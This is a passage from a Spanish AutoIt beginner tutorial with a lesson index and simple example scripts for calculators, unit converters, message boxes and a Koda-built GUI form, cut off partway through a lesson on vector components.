**Autoit en español  
Aplicaciones con Autoit - Juan Antonio Villalpando**

**-- Tutorial de iniciación a Autoit --**

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

|  |
| --- |
| **Para los nuevos...**  **¿Qué es Autoit?**  - Es un viejo programa para realizar aplicaciones para Windows. También se puede hacer macros, una pequeña aplicación que hace automáticamente una serie de operaciones en Windows.  **¿Es bueno?**  - Está un poco anticuado, pero es fácil y con muchas posibilidades.  **¿Es gratis?**  - Sí.  **¿Es difícil de aprender?**  - No. Siguiendo mis tutoriales lo aprenderás pronto.  **¿Cómo salen las aplicaciones?**  - De forma parecida a las ventana de Windows, como la calculadora por ejemplo. Puedes hacer una macro que capture automáticamente cada cierto tiempo la pantalla.  **¿Me va a gustar aprenderlo?**  - Sí.  **¿Qué hago para aprenderlo?**  - Sigue este tutorial. |

**- Índice del tutorial.**

**De nuevo el viejo AutoIt**

1.- [Instalación portable.](http://kio4.com/autoit/1_inicio.htm) Pitágoras. Autoejecutable.  
2.- [Léeme. Trucos y nociones básicas.](http://kio4.com/autoit/2_debes_saber.htm) IMPORTANTE.  
3.- [Conversión a Fahrenheit.](http://kio4.com/autoit/3_bucle.htm) Bucle While.  
5.- [De km/h a mi/h y viceversa.](http://kio4.com/autoit/5_opciones.htm) Opciones.  
6.- [De m/s a k/h y viceversa.](http://kio4.com/autoit/6_opciones_bucle.htm) Opciones y bucle.  
8.- [Apagar. Hibernar.](http://kio4.com/autoit/8_hibernar_run_msgbox.htm) Ejecutar aplicación. MsgBox. InputBox.  
------------------------------ KODA ---------------------------------------  
  
9.- [Koda. Inserción de controles.](http://kio4.com/autoit/9_koda_triangulo.htm) Área del rectángulo.  
10.-[Koda. Componente horizontal y vertical de un vector.](http://kio4.com/autoit/10_koda_vectores.htm) Proyecciones.  
11 .- [Koda. Acertar el número.](http://kio4.com/autoit/11_acertar_numero.htm) Aleatorio.  
12.- [Ruleta rusa.](http://kio4.com/autoit/12_ruleta_rusa.htm)Aleatorio.  
13.- [Tres iguales.](http://kio4.com/autoit/13_tres_iguales.htm) Imágenes.  
15.- [Elegir. CheckBox.](http://kio4.com/autoit/15_elegir_checkbox_radio.htm) Radio.  
17.- [Desplegable.](http://kio4.com/autoit/17_desplegable_lista.htm) Lista. Países y capitales.  
19.- [Calendario.](http://kio4.com/autoit/19_calendario.htm)  
20.- [Semáforo.](http://kio4.com/autoit/20_semaforo.htm)  
21.- [Deslizable.](http://kio4.com/autoit/21_deslizable.htm) (Slider). Tiro parabólico.  
22.- [Deslizable.](http://kio4.com/autoit/22_suma_colores.htm) (Slider). Suma de colores RVA.  
23.- [Deslizable.](http://kio4.com/autoit/23_suma_aritmetica.htm) (Slider). Suma aritmética. Importar código KODA.  
24.- [Archivos.](http://kio4.com/autoit/24_archivos.htm) Crear. Borrar. Modificar. Guardar.  
25.- [Archivos.](http://kio4.com/autoit/25_archivos_cambiar.htm) Sustituir cadena.  
26.- [Select Case.](http://kio4.com/autoit/26_if_then.htm) If ... Then ... ElseIf. If ... Then.  
27.- [Bucles.](http://kio4.com/autoit/27_bucle_for_while.htm) For ... Next. While ... Wend.  
28.- [Fases de la luna.](http://kio4.com/autoit/28_fases_luna.htm)  
29.- [De texto a voz.](http://kio4.com/autoit/29_texto_voz.htm) Escribes y lo pronuncia.  
30.- [Reconocedor de voz.](http://kio4.com/autoit/30_reconocedor_voz.htm) Utter Speech Recognition.  
31.- [Menú y submenú.](http://kio4.com/autoit/31_menu.htm)  
33.- [Temporizador.](http://kio4.com/autoit/33_temporizador.htm) TimerInit. TimerDiff.  
34.- [Listado de archivos y carpetas.](http://kio4.com/autoit/34_listado.htm)  
------------------------------- MACROS -----------------------------------

40.- [Instalación en ordenador y SciTE4AutoIt.](http://kio4.com/autoit/40_instalacion_scit4autoit.htm) Macros. Au3record.exe.  
42.- [Construir una macro.](http://kio4.com/autoit/42_macro_bloc_notas.htm) Bloc de notas. Au3Info.  
44.- [Movimientos automáticos del ratón.](http://kio4.com/autoit/44_macro_raton.htm) Suma automática con la Calculadora. Au3Info.  
46.- [Captura de pantalla. HotKeySet.](http://kio4.com/autoit/46_captura_pantalla.htm) ToolTip. Crear directorio.  
47.- [\_IsPressed, cuando se pulsa una tecla.](http://kio4.com/autoit/47_ispresset_hotkeyset.htm) ConsoleWrite.

------------------------------ Funciones -----------------------------------

50.- [Pulsado automático de teclas. Send.](http://kio4.com/autoit/50_send_teclas_control.htm) Teclas de control. Hibernar. Captura de pantalla. HotKeySet.  
52.- [Listado de funciones definidas por el usuario.](http://kio4.com/autoit/52_listado_funciones.htm)  
53.- [Las funciones DLL.](http://kio4.com/autoit/53_dll.htm)  
54.- [Dibujo de cuadrado y círculo en la pantalla.](http://kio4.com/autoit/54_guictrolsetgraphic_circulo.htm) GUICreateCtrlGraphic. GUICtrlSetGraphic.  
55.- [Dibujo en pantalla.](http://kio4.com/autoit/55_guictrlsetgraphic.htm) GUICreateCtrlGraphic. GUICtrlSetGraphic.  
56.- [Ejemplo de HotKeySet. MouseClick.](http://kio4.com/autoit/56_hotkeyset_raton.htm) ToolTip. Password.  
57.- [PixelSearch. Buscar un pixel por su color.](http://kio4.com/autoit/57_pixelsearch.htm) ImageSearch.  
58.- [Mueves el ratón y observas sus coordenadas y color de fondo](http://kio4.com/autoit/58_coordenadas_raton.htm). PixelGetColor.

----------------------------- Bluetooh ---------------------------------------

60.- [Bluetooth.](http://kio4.com/autoit/60_bluethooth.htm)  
62.- [Bluetooth y Arduino.](http://kio4.com/autoit/62_bluethoot_arduino.htm) Enviar datos desde el ordenador al Arduino por Bluetooth.  
64.- [Bluetooth y Arduino.](http://kio4.com/autoit/64_bluethoot_arduino_2.htm) Enviar datos desde el Arduino al ordenador por Bluetooth.  
66.- [Bluetooth y Arduino.](http://kio4.com/autoit/66_bluethoot_arduino_3.htm) Enviar datos desde el Arduino al ordenador por Bluetooth. Simplificado.  
67.- [Bluetooth y Arduino.](http://kio4.com/autoit/67_bluethoot_arduino_4.htm) Botones, pulsadores, LED.  
68.- [Bluetooth y Arduino.](http://kio4.com/autoit/68_bluethooth_humedad_dht11.htm) Sensor de humedad y temperatura DHT 11. Gráfico.  
68B.- [Bluetooth y Arduino.](http://kio4.com/autoit/68B_bluethooth_humedad_dht11_consulta.htm) Consulta humedad y temperatura DHT 11.  
69.- [Bluetooth y Arduino.](http://kio4.com/autoit/69_bluethooth_appinventor.htm) Enviar/recibir datos desde Android con **App Inventor.**  
69B.- [Bluetooh y ordenador.](http://kio4.com/autoit/69B_bluethooth_ordenador_appinventor.htm) Enviar/recibir datos desde Android al ordenador. **App Inventor**.  
69C.-[Bluetooh y ordenador.](http://kio4.com/autoit/69C_bluethooth_ordenador_appinventor_chat.htm) Enviar/recibir datos desde Android al ordenador. **App Inventor.** Chat.

----------------------------- Internet ---------------------------------------

70.- [Crear archivo de texto y subirlo a un servidor.](http://kio4.com/autoit/70_subir_bajar_archivo.htm) Bajarlo, modificarlo y volverlo a subir.  
71.-  
72.- [Elegir un archivo del ordenador y subirlo a un servidor.](http://kio4.com/autoit/72_elegir_archivo_subir.htm)  
73.- [Bajar archivo de Internet.](http://kio4.com/autoit/73_bajar_archivo.htm) Si es una imagen que aparezca en el Formulario.  
74.- [Enviar un correo.](http://kio4.com/autoit/74_enviar_correo.htm)  
75.- [Subir, bajar, borrar, ver datos en una base de datos MySQL.](http://kio4.com/autoit/75_mysql.htm)  
78.- [Registro de usuario y autentificación con MySQL.](http://kio4.com/autoit/78_mysql_usuarios.htm) Correo.

------------------- Scripts interesantes ----------------------------------

100.- [Hibernar el ordenador.](http://kio4.com/autoit/100_hibernar.htm) Encenderlo automáticamente después de hibernar.  
102- [Apagar/Encender el monitor.](http://kio4.com/autoit/102_apagar_monitor.htm)  
103.- [Deshabilitar botones del Bloc de notas.](http://kio4.com/autoit/103_deshabilitar_botones.htm)  
105.- [Tray. Bandeja de Windows junto al reloj.](http://kio4.com/autoit/105_tray.htm)  
108.- [Quitar/poner la barra de tareas de Windows.](http://kio4.com/autoit/108_quitar_barratareas.htm) Ocultar/desocultar aplicación.  
110.- [Captura la pantalla y la envía por FTP.](http://kio4.com/autoit/110_captura_ftp.htm)  
114.- [Keylogger.](http://kio4.com/autoit/114_keylogger.htm)  
116.- [Bloqueo del ratón y teclado.](http://kio4.com/autoit/116_bloqueo_raton.htm) Cuidado.  
117.- [Otro bloqueo de ordenador.](http://kio4.com/autoit/117_otro_bloqueo.htm) Cuidado.  
118.- [Crear un archivo en la carpeta Inicio de Windows.](http://kio4.com/autoit/118_crear_en_inicio.htm)  
120.- [ADB. Android.](http://kio4.com/autoit/120_adb_android.htm) Ejecutar comandos de Android desde el ordenador por USB.  
  
------------------- Scripts curiosos ----------------------------------

200.- [Visto por ahí.](http://kio4.com/autoit/200_visto_por_ahi.htm)

**1.- Inicio. Bajar. Instalar. Pitágoras. Documentación en español.**

**- Vamos a:**

[**https://www.autoitscript.com/site/autoit/downloads/**](https://www.autoitscript.com/site/autoit/downloads/)

- Bajamos el archivo **autoit-v3.zip** (16 MB), para no tener que instalarla. Cuando lo descomprima ocupará unos 42 MB.

[En principio vamos a trabajar con la versión portable, más adelante instalaremos el programa, si quieres puedes instalarlo en vez de trabajar con la portable desde el primer momento]

- Ya lo tenemos descomprimido. Vamos a utilizarla sin instalarla.

- Entramos en la carpeta **SciTe** para sacar al Editor de texto donde escribiremos los códigos de las aplicaciones. Vamos a **SciTe.exe**

- [Este SciTe es Lite, hay otro llamado SciTe4AutoIt que tiene más posibilidades, pero por ahora nos quedamos con el Lite.]

**IMPORTANTE: Abrimos y trabajamos con Editor de textos SciTE.**

- El código y**la mayor parte del trabajo para la programación** de AutoIt la haremos desde el**Editor de texto SciTE**. Por ahora**no hace falta entrar**en AutoIt3.exe.

- Podemos poner el SciTE en español.

- [[Antiguas versiones de AutoIt](https://www.autoitscript.com/autoit3/files/archive/autoit/)]

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Teorema de Pitágoras.**

[**Pitagoras.exe**](http://kio4.com/autoit/programas/pitagoras.exe)

- Escribimos este código:

|  |
| --- |
| **Teorema de Pitágoras.** |
| **; Las líneas que comienzan por punto y coma son solo comentarios**  **; Las variables comienzan con el caracter dolar $**  **; El separador decimal es el punto**  **; Juan A. Villalpando - KIO4.COM**  $cateto1 = InputBox("Teorema de Pitágoras."**,** "Introduce el valor de un cateto.")  $cateto2 = InputBox("Teorema de Pitágoras."**,** "Introduce el valor del otro cateto.")  $hipotenusa = sqrt($cateto1^2 + $cateto2^2)  **; El ampersand & lo utilizamos para unir variables y cadenas de textos.**  $texto = "El valor de un cateto es " & $cateto1 & ", el valor del otro cateto es " & $cateto2  $texto = $texto & ". La hipotenusa vale: " & $hipotenusa  Msgbox(0**,**"Cálculo de la hipotenusa."**,**$texto) |

- La entrada de datos la realizamos mediante **InputBox** y la salida con **MsgBox**.

- Las**variables comienzan con el caracter dolar $**, por ejemplo: $hipotenusa.

- El ampersand **&** se utiliza para unir partes de texto, por ejemplo: "La hipotenusa vale: " **&** $hiponetusa

- Guardamos el archivo y lo ejecutamos. **Tools / Go.**

- Saldrá así...

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Vamos a convertir el código en autoejecutable .exe**

- Vamos a la carpeta **Aut2Exe** pulsamos en Browse, localizamos al archivos que queremos **Convertir** y creamos el archivo **pitagoras.exe**. Se le puede poner un icono.

- Aquí la tenemos: [**pitagoras.exe**](http://kio4.com/autoit/programas/pitagoras.exe)

- Todos los ejemplos que vamos a realizar en este tutorial los podemos convertrr a **autoejecutables.exe**

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Documentación en español.**

- Aquí tienes un archivo con la documentación en español sobre AutoIt: [**spanish-v3.0.102.zip**](http://kio4.com/autoit/imagenes_autoit/spanish-v3.0.102.zip)

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Comentarios.**

- En el tutorial **40\_instalacion\_scit4autoit.htm**, en vez de bajar la versión portable,**la instalaremos** y además utilizaremos el editor de textos SciTe4AutoIt3 que es más completo que el SctiTe-Lite que estamos utilizando, pero por ahora continuamos en esta versión portable.

**3.- Conversión a Fahrenheit. Bucle While.**

[**centigrados.exe**](http://kio4.com/autoit/programas/centigrados.exe)

- Entramos en la carpeta SciTe para sacar al Editor de texto donde escribiremos los códigos de las aplicaciones. Vamos a **SciTe.exe**

- Escribimos este código:

|  |
| --- |
| **Centígrados.au3** |
| **; Las líneas que comienzan por punto y coma son solo comentarios**  **; Las variables comienzan con el caracter dolar $**  **; El separador decimal es el punto**  **; Juan A. Villalpando - KIO4.COM**  $contesta="S"  **; Mientras $contesta es "S" hace el bucle While - Wend**  **While** $contesta="S"  $C = InputBox("Conversión a Fahrenheit"**,** "Introduce grados Centígrados")  $F= 1.8 \* $C + 32  **; El ampersand & lo utilizamos para unir variables y cadenas de textos.**  $texto= $C & " grados Centígrados son " & $F & " grados Fahrenheit."  Msgbox(0**,**"Conversión a Fahrenheit."**,** $texto)  $contesta = InputBox("Nuevo cálculo"**,** "¿Quieres hacer otro cálculo? (S/N)")  **Wend** |

- El código entra en un bucle: **While ..................................... Wend**

- Estará en ese bucle **Mientras** $contesta = "S"

- Cada vez que haga un cálculo preguntará si quieres hacer otro. **Mientras** escribas la letra "S", seguirás en el bucle y podrás hacer otro cálculo.

- Si escribes otro carácter, saldrás de la aplicación.

- La entrada de datos la realizamos mediante **InputBox** y la salida con **MsgBox**.

- Las variables comienzan con el caracter dolar $, por ejemplo: $C.

- Guardamos el archivo y lo ejecutamos. **Tools / Go.**

- La convertimos en autoejecutable mediante **Aut2Exe,** aqui está: [**centigrados.exe**](http://kio4.com/autoit/programas/centigrados.exe)

**5.- De kilómetros/hora a millas/hora y viceversa. Opciones.**

[**kilometros.exe**](http://kio4.com/autoit/programas/kilometros.exe)

- Escribimos este código, para pasar de kilómetros/hora a millas/hora y viceversa.

**- De mph a km/h.**

**- De km/h a mph.**

|  |
| --- |
| **kilometros.au3** |
| **; @CRLF es para cambiar de línea**  **; $texto = $texto & añade al texto anterior**  **; Juan A. Villalpando - KIO4.COM**  $texto = "Elige opción" & @CRLF  $texto= $texto & "Pulsa 1 para pasar de mph a km/h" & @CRLF  $texto= $texto & "Pulsa 2 para pasar de km/h a mph"  $opcion = InputBox("Millas por hora y kilómetros por hora"**,** $texto)  **If** $opcion = 1 **Then**  $mph = InputBox("Conversión a km/h"**,** "Introduce mph")  $kmh= $mph \* 1.6093  $texto= $mph & " mph son " & $kmh & " km/h."  Msgbox(0**,**"Conversión de mph a km/h."**,**$texto)  **EndIf**  **If** $opcion = 2 **Then**  $kmh = InputBox("Conversión a mph"**,** "Introduce km/h")  $mph= $kmh / 1.6093  $texto= $kmh & " km/h son " & $mph & " mph"  Msgbox(0**,**"Conversión de km/h a mph."**,**$texto)  **EndIf** |

- **@CRLF** es para cambiar de línea.

- Mediante el comparador If elegimos una opción u otra.

-**If $opcion = 1 Then ........................ EndIf**

**- If $opcion = 2 Then ........................ EndIf**

- La convertimos en autoejecutable mediante **Aut2Exe,** aqui está: [**kilometros.exe**](http://kio4.com/autoit/programas/kilometros.exe)

**7.- De metros/s a kilómetros/h y viceversa. Opciones y bucle.**

[**metros.exe**](http://kio4.com/autoit/programas/metros.exe)

- Escribimos este código para pasar de m/s a km/s y viceversa.

**- De m/s a km/h.**

**- De km/h a m/s.**

|  |
| --- |
| **Metros/s - Kilómetros/h** |
| **; @CRLF es para cambiar de línea**  **; $texto = $texto & añade al texto anterior**  **; Las frases van entre comillas**  **; No utilizar el / en el nombre de la variable**  **; Juan A. Villalpando - KIO4.COM**  $contesta="S"  **; Mientras $contesta es "S" hace el bucle While - Wend**  **While** $contesta="S"  $texto = "Elige opción" & @CRLF  $texto= $texto & "Pulsa 1 para pasar de m/s a km/h" & @CRLF  $texto= $texto & "Pulsa 2 para pasar de km/h a m/s"  $opcion = InputBox("Metros por segundo y kilómetros por hora"**,** $texto)  **If** $opcion = 1 **Then**  $ms = InputBox("Conversión a km/h"**,** "Introduce m/s")  $kmh= $ms \* 3.6  $texto= $ms & " m/s son " & $kmh & " km/h."  Msgbox(0**,**"Conversión de ms a km/h."**,**$texto)  **EndIf**  **If** $opcion = 2 **Then**  $kmh = InputBox("Conversión a m/s"**,** "Introduce km/h")  $ms= $kmh / 3.6  $texto= $kmh & " km/h son " & $ms & " m/s"  Msgbox(0**,**"Conversión de km/h a m/s."**,**$texto)  **EndIf**  $contesta = InputBox("Nuevo cálculo"**,** "¿Quieres hacer otro cálculo? (S/N)")  **Wend** |

- La convertimos en autoejecutable mediante **Aut2Exe,** aqui está: [**metros.exe**](http://kio4.com/autoit/programas/metros.exe)

**8.- Apagar. Suspender. Hibernar.**

- Mediante la orden **Shutdown** podemos apagar, suspender o hibernar el ordenador.

- <https://www.autoitscript.com/autoit3/docs/functions/Shutdown.htm>

    $SD\_LOGOFF (0) = Logoff

    $SD\_SHUTDOWN (1) = Shutdown

    $SD\_REBOOT (2) = Reboot

    $SD\_FORCE (4) = Force

    $SD\_POWERDOWN (8) = Power down

    $SD\_FORCEHUNG (16) = Force if hung

    $SD\_STANDBY (32) = Standby

    $SD\_HIBERNATE (64) = Hibernate

|  |
| --- |
| **Hibernar.** |
| **Shutdown**(64) |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Ejecutar aplicación.**

-<https://www.autoitscript.com/autoit3/docs/functions/Run.htm>

|  |
| --- |
| **Ejecutar.** |
| run("C:\Program Files (x86)\Google\Chrome\Application\**chrome.exe**", **@SW\_MINIMIZE**) |

- Se puede ejecutar:

@SW\_HIDE = ventana oculta(por defecto)  
@SW\_MINIMIZE = minimizado  
@SW\_MAXIMIZE = maximizado

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- MsgBox.**

- <https://www.autoitscript.com/autoit3/docs/functions/MsgBox.htm>

- Se utiliza para mostrar datos mediante ventana emergente.

- MsgBox(0, "Título", "Mensaje", tiempo)

- El primer parámetro puede ser un número. Si quieres que en vez de número sea una variable de tipo $MB\_YESNO, debes incluir la librería:

**#include <MsgBoxConstants.au3>**

- Si quieres obtener una respuesta para tomar decisiones, debes asignar una variable.

- Puedes poner uno o varios botones:

|  |  |
| --- | --- |
| OK | $IDOK (1) |
| CANCEL | $IDCANCEL (2) |
| ABORT | $IDABORT (3) |
| RETRY | $IDRETRY (4) |
| IGNORE | $IDIGNORE (5) |
| YES | $IDYES (6) |
| NO | $IDNO (7) |
| TRY AGAIN \*\* | $IDTRYAGAIN (10) |
| CONTINUE \*\* | $IDCONTINUE (11) |

- Para consultar la respuesta lo puedes hacer con**if** y la variable correspondiente de tipo **$ID**

- Puedes añadir iconos de la forma:  
**#include <MsgBoxConstants.au3>**

MsgBox($MB\_YESNOCANCEL + $MB\_ICONQUESTION, "Elegir uno.", "Pulsa uno de los botones.")

MsgBox($MB\_YESNOCANCEL + $MB\_ ICONERROR, "Elegir uno.", "Pulsa uno de los botones.")

MsgBox($MB\_OK + $MB\_ ICONINFORMATION, "Fin.", "Es fácil utilizar este control.")

|  |
| --- |
| **MsgBox.** |
| #include <MsgBoxConstants.au3>  MsgBox(0**,** "Título de la ventana."**,** "Esta ventana se cerrará en 10 segundos o cuando pulses el botón de Aceptar."**,** 10)  $Respuesta = MsgBox($MB\_YESNOCANCEL + $MB\_ICONQUESTION**,** "Elegir uno."**,** "Pulsa uno de los botones.")  **if** $Respuesta = $IDYES **Then** MsgBox(0**,** "Respuesta."**,** "Has pulsado Sí.")  **if** $Respuesta = $IDNO **Then** MsgBox(0**,** "Respuesta."**,** "Has pulsado No.")  **if** $Respuesta = $IDCANCEL **Then** MsgBox(0**,** "Respuesta."**,** "Has pulsado Cancelar.")  MsgBox($MB\_OK + $MB\_ICONINFORMATION**,** "Fin."**,** "Es fácil utilizar este control.") |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- InputBox.**

- <https://www.autoitscript.com/autoit3/docs/functions/InputBox.htm>

- Se utiliza para la entrada de datos mediante ventana emergente.

- Escribe nombre: juan y contraseña: 1234

|  |
| --- |
| **InputBox.** |
| #include <MsgBoxConstants.au3>  $nombre = InputBox("Tu nombre."**,** "Escribe tu nombre.")  $clave = InputBox("Tu contraseña."**,** "Escribe tu contraseña.")  **if** $nombre = "juan" AND $clave = "1234" **Then**  MsgBox($MB\_OK + $MB\_ICONINFORMATION**,** "Entrada."**,** "CORRECTO.")  **Else**  MsgBox($MB\_OK + $MB\_ICONWARNING**,** "ERROR."**,** "Datos erróneos.")  **EndIf** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**9.- Koda. Inserción de controles. Área del triángulo.**

[**triangulo.exe**](http://kio4.com/autoit/programas/triangulo.exe)

- Mediante **Koda** podemos poner **casilleros, etiquetas, botones, imágenes, opciones, deslizadores**,... en la ventana llamada **Formulario**.

- Bajamos **Koda**de...[**http://koda.darkhost.ru/page.php?id=download**](http://koda.darkhost.ru/page.php?id=download)

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Ejecutamos Koda.**

- Cada vez que vayas a crear un nuevo Formulario con Koda, pulsa en el icono de**Form.**

- Pulsamos sobre Label (Etiqueta) y la ponemos sobre el Formulario **Form1**.

- En la parte izquierda aparecen sus Propiedades:

- En**Caption** escribimos: **Área del triángulo**.

- En**Font / Size** le ponemos tamaño: **20**

- Esta etiqueta se llama Label1, no confundir el**Name** de la etiqueta con el **Caption**.

- Sacamos tres etiquetas (**Label**) más, dos casilleros (**Input**) y un botón (**Button**) y los ponemos de esta manera:

- Recuerda que el texto de la Etiqueta se pone en el **Caption**.

- Debe quedar así.

- A la Label4 no es necesario que le pongas **Caption.**

- Lo guardamos **File / Save as...**

- Para ver cómo va quedando pulsa**Tool / Run Form**

- Vamos al**SciTE**, creamos un nuevo archivo.

- Volvemos al Koda. **Tools / Generate Form Code...**

- Obtenemos el código de situación de los elementos, lo pegamos en el editor **SciTe**para crear una nueva aplicación que se llamará: **triangulo**.

- **Borramos** la parte del**While 1 ............. WEnd**, como indico en la imagen superior.

- Creamos el algoritmo del cálculo del triángulo:

**- Área del triángulo = base por altura dividido entre 2.**

|  |
| --- |
| **Código Área del triángulo** |
| **While** 1  $msg = GuiGetMsg()  **Select**  **Case** $msg = $GUI\_EVENT\_CLOSE  **ExitLoop**  **; Cuando presiona el botón realiza el cálculo.**  **Case** $msg = $Button1 **; Indicamos que el cálculo se realizará cuando pulsemos el Botón1**  $base = GUICtrlRead($Input1) **; Toma el valor que escribamos en el Input1 y lo asigna a la $base**  $altura = GUICtrlRead($Input2) **; Toma el valor que escribamos en el Input2 y lo asigna a la $altura**  $area = ($base \* $altura) / 2 **; Realiza el $area**  GUICtrlSetData($Label4**,**$area) **; El $area lo escribirá en la Label4**  **EndSelect**  **Wend**  **Exit** |

- La **parte azul de arriba y abajo** la insertaremos también.

|  |
| --- |
| **Código completo: Formulario + código triangulo.au3** |
| #include <ButtonConstants.au3>  #include <EditConstants.au3>  #include <GUIConstantsEx.au3>  #include <StaticConstants.au3>  #include <WindowsConstants.au3>  **#Region ### START Koda GUI section ### Form=**  $Form1 = GUICreate("Form1"**,** 431**,** 477**,** 187**,** 131)  $Label1 = GUICtrlCreateLabel("Área del triángulo."**,** 96**,** 16**,** 265**,** 41)  GUICtrlSetFont(-1**,** 20**,** 400**,** 0**,** "MS Sans Serif")  $Label2 = GUICtrlCreateLabel("Base"**,** 16**,** 96**,** 76**,** 41)  GUICtrlSetFont(-1**,** 20**,** 400**,** 0**,** "MS Sans Serif")  $Input1 = GUICtrlCreateInput("Input1"**,** 160**,** 96**,** 193**,** 45)  GUICtrlSetFont(-1**,** 20**,** 400**,** 0**,** "MS Sans Serif")  $Label3 = GUICtrlCreateLabel("Altura"**,** 24**,** 184**,** 89**,** 41)  GUICtrlSetFont(-1**,** 20**,** 400**,** 0**,** "MS Sans Serif")  $Input2 = GUICtrlCreateInput("Input2"**,** 160**,** 176**,** 193**,** 45)  GUICtrlSetFont(-1**,** 20**,** 400**,** 0**,** "MS Sans Serif")  $Button1 = GUICtrlCreateButton("Pulsa para calcular"**,** 56**,** 256**,** 321**,** 49)  GUICtrlSetFont(-1**,** 20**,** 400**,** 0**,** "MS Sans Serif")  $Label4 = GUICtrlCreateLabel("Label4"**,** 56**,** 360**,** 316**,** 41)  GUICtrlSetFont(-1**,** 20**,** 400**,** 0**,** "MS Sans Serif")  GUISetState(@SW\_SHOW)  **#EndRegion ### END Koda GUI section ###**  **;;;;;;;;;;;;;;;;;;;;;;;; AQUÍ PONEMOS EL CÓDIGO ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  **While** 1  $msg = GuiGetMsg()  **Select**  **Case** $msg = $GUI\_EVENT\_CLOSE  **ExitLoop**  **; Cuando presiona el botón realiza el cálculo.**  **Case** $msg = $Button1 **; Indicamos que el cálculo se realizará cuando pulsemos el Botón1**  $base = GUICtrlRead($Input1) **; Toma el valor que escribamos en el Input1 y lo asigna a la $base**  $altura = GUICtrlRead($Input2) **; Toma el valor que escribamos en el Input2 y lo asigna a la $altura**  $area = ($base \* $altura) / 2 **; Realiza el $area**  GUICtrlSetData($Label4**,**$area) **; El $area lo escribirá en la Label4**  **EndSelect**  **Wend**  **Exit** |

- Lo ejecutamos: **Tools / Go.**

- La convertimos en autoejecutable mediante **Aut2Exe,** aqui está: [**triangulo.exe**](http://kio4.com/autoit/programas/triangulo.exe)

**-------------------------------------------------------------------------------------  
- Mejoras.**

- Si quieres que salga con dos decimales:

$area = Round($area, 2)

-**floor** es un redondeo al menor entero. floor(4.76) = 4          floor(-4.29) = -5

- Los lenguajes de programación realizan las funciones seno, coseno, tangente, arcoseno, arcocoseno y arcotangente**en radianes,** a veces necesitamos trabajar con grados y debemos hacer estas conversiones:  
[AutoIt tiene funciones para realizar estas conversiones con facilidad].

- g = (r \* 360) / (2 \* PI) = 57.29578 \* r  
- r = (g \* 2 \* PI) / 360 = 0.0174532 \* g

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Comentarios.**

- Prueba también Builder para crear el Formulario.

<https://www.autoitscript.com/forum/topic/146283-form-builder-beta/>

|  |
| --- |
|  |
| |  |  |  | | --- | --- | --- | | **10.- Koda. Componente horizontal y vertical de un vector. Proyecciones.**  [**vectores.exe**](http://kio4.com/autoit/programas/vectores.exe)  - Vamos a descomponer un vector en su proyección horizontal y vertical.  - Tenemos un Vector y el ángulo que forma con la horizontal, como muestro en la imagen.  - La componente X = vector \* coseno(angulo) - La componente Y = vector \* seno(angulo)  ----------------------------------------------------------------------  - También lo haremos alrevés, tenemos las dos componentes X e Y y queremos obtener el Vector y su ángulo.  [Fíjate que en el nombre de la variable ***angulo*** no le pongo acento].  - Vector = raizcuadrada(X^2 + Y^2)  - angulo = arcotangente( Y / X )  -------------------------------------------------------------------------------------  - Hay que tener en cuenta que la mayoría de los lenguajes de programación realizan las funciones trigonométricas en radianes, y nosotros introducimos grados.  - Debemos convertir de uno a otro.  - Sería así:  - g = (r \* 360) / (2 \* PI) = 57.29578 \* r - r = (g \* 2 \* PI) / 360 = 0.0174532 \* g  - Pero AutoIt tiene las funciones \_Radian() y \_Degree() que hacen esas operaciones.  - Para que actúen estas funciones es necesario que incluyamos en el código la librería:  #include <Math.au3>  **\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ - Ejecutamos Koda.**  - Cada vez que vayas a crear un nuevo Formulario con Koda, pulsa en el icono de**Form.**  - La imagen la insertamos mediante Pictures(está en Adicional). Luego en su propiedad Picture ponemos la imagen.  - Los Input tienen el número a la derecha. Para eso en la pestaña Estilo de abajo, como indico en la imagen, marco ES\_RIGHT  - Vamos al**SciTE**, creamos un nuevo archivo.  - Volvemos al Koda. **Tools / Generate Form Code...**  - Aquí muestro el código del Formulario generado por el Koda y los algoritmos de cálculos.   |  | | --- | | **Código completo: Formulario + código vectores.au3** | | #include <ButtonConstants.au3>  #include <EditConstants.au3>  #include <GUIConstantsEx.au3>  #include <StaticConstants.au3>  #include <WindowsConstants.au3>  #include <Math.au3>  **#Region ### START Koda GUI section ### Form=D:\kio4\autoit\programas\vectores.kxf**  $Form1 = GUICreate("Vectores - Juan A. Villalpando"**,** 476**,** 589**,** 192**,** 132)  $Label1 = GUICtrlCreateLabel("Vector:"**,** 24**,** 304**,** 54**,** 20)  $Input1 = GUICtrlCreateInput("80"**,** 88**,** 304**,** 200**,** 24**,** BitOR($GUI\_SS\_DEFAULT\_INPUT**,**$ES\_RIGHT))  $Label2 = GUICtrlCreateLabel("Ángulo en 